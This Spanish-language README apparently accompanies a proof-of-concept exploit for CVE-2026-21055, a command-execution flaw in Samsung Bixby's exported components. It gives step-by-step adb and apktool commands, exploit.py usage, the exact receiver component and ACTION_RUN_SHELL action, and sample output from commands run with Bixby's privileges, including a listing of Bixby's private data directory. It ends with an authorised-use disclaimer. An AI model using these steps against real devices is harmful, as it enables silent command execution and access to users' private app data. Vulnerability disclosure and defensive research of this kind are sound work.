CVE-2026-21055 PoC — Exportación Incorrecta de Componentes de Samsung Bixby

Prueba de concepto para CVE-2026-21055: La exportación incorrecta de componentes de aplicaciones Android en Samsung Bixby anterior a la versión 4.0.70.8 permite a atacantes locales ejecutar comandos arbitrarios con privilegios de Bixby.

Resumen

Este repositorio contiene dos scripts de Python:

1. analyze_components.py — Analiza un AndroidManifest.xml descompilado para enumerar actividades, servicios, receptores y proveedores exportados. Marca los componentes exportados sin guardias de permisos.

2. exploit.py — Demuestra el ataque basado en Intent enviando un Intent de difusión manipulado al receptor de comandos exportado de Bixby a través de adb shell am, ejecutando un comando con los privilegios a nivel de sistema de Bixby.

Detalles de la Vulnerabilidad

Requisitos Previos

• adb (Android SDK Platform Tools) instalado y en PATH
• Un dispositivo Samsung Galaxy con depuración USB habilitada
• Versión de Bixby < 4.0.70.8 en el dispositivo objetivo
• Para el análisis de componentes: apktool instalado y en PATH

Uso

1. Analizar los Componentes Exportados de Bixby

Extrae el APK de Bixby del dispositivo y descompílelo:

# Encontrar la ruta del APK de Bixby
$ adb shell pm path com.samsung.android.bixby.agent

# Extraer el APK
$ adb pull <ruta_apk> bixby.apk

# Descompilar con apktool
$ apktool d bixby.apk -o bixby_decompiled -f

Ejecuta el script de análisis:

$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml

O deja que el script descompile automáticamente:

$ python3 analyze_components.py --apk bixby.apk

2. Listar Componentes Exportados en un Dispositivo en Vivo

$ python3 exploit.py --list

3. Ejecutar el Exploit

# Por defecto: ejecuta el comando 'id'
$ python3 exploit.py

# Comando personalizado
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"

# Especificar un componente personalizado (si falla la detección automática)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver

Salida Esperada

============================================================
  CVE-2026-21055 PoC — Samsung Bixby Command Execution
  Improper Export of Android Application Components
============================================================

[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version:  4.0.69.2
[*] Vulnerable:     YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx

[*] Executing exploit...
[*] Crafting exploit Intent...
    Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
    Action:    com.samsung.android.bixby.agent.ACTION_RUN_SHELL
    Command:   id
    Output:    /data/local/tmp/bixby_poc_output

[+] Intent sent.

[+] Command output (executed with Bixby privilege):
    uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)

[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx

Cómo Funciona

1. Exportación de Componente: Bixby exporta uno o más componentes (servicios/receptores) que manejan la ejecución de comandos o disparadores de automatización. Estos componentes se exportan con android:exported="true" pero sin un atributo android:permission ni comprobaciones de permisos en tiempo de ejecución.

2. Entrega de Intent: Cualquier aplicación en el dispositivo puede enviar un Intent a estos componentes exportados. El Intent lleva una cadena de acción (ej., ACTION_RUN_SHELL) y extras de cadena que contienen el comando a ejecutar y una ruta de archivo de salida.

3. Ejecución de Comando: El componente exportado de Bixby recibe el Intent, extrae el comando y lo ejecuta a través de Runtime.exec() o un mecanismo similar. El comando se ejecuta en el contexto del proceso de Bixby, heredando todos los permisos a nivel de sistema de Bixby.

4. Sin Interacción del Usuario: El exploit no requiere interacción del usuario. La aplicación maliciosa envía el Intent silenciosamente en segundo plano.

Descargo de Responsabilidad

Este PoC se proporciona únicamente con fines educativos y de investigación de seguridad. Pruebe solo en dispositivos que posea o tenga autorización explícita para probar. No use este exploit contra dispositivos sin el consentimiento del propietario.

Fuentes

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21055
• Boletín de Seguridad Móvil de Samsung (Julio 2026): https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=07
• CWE-926: https://cwe.mitre.org/data/definitions/926.html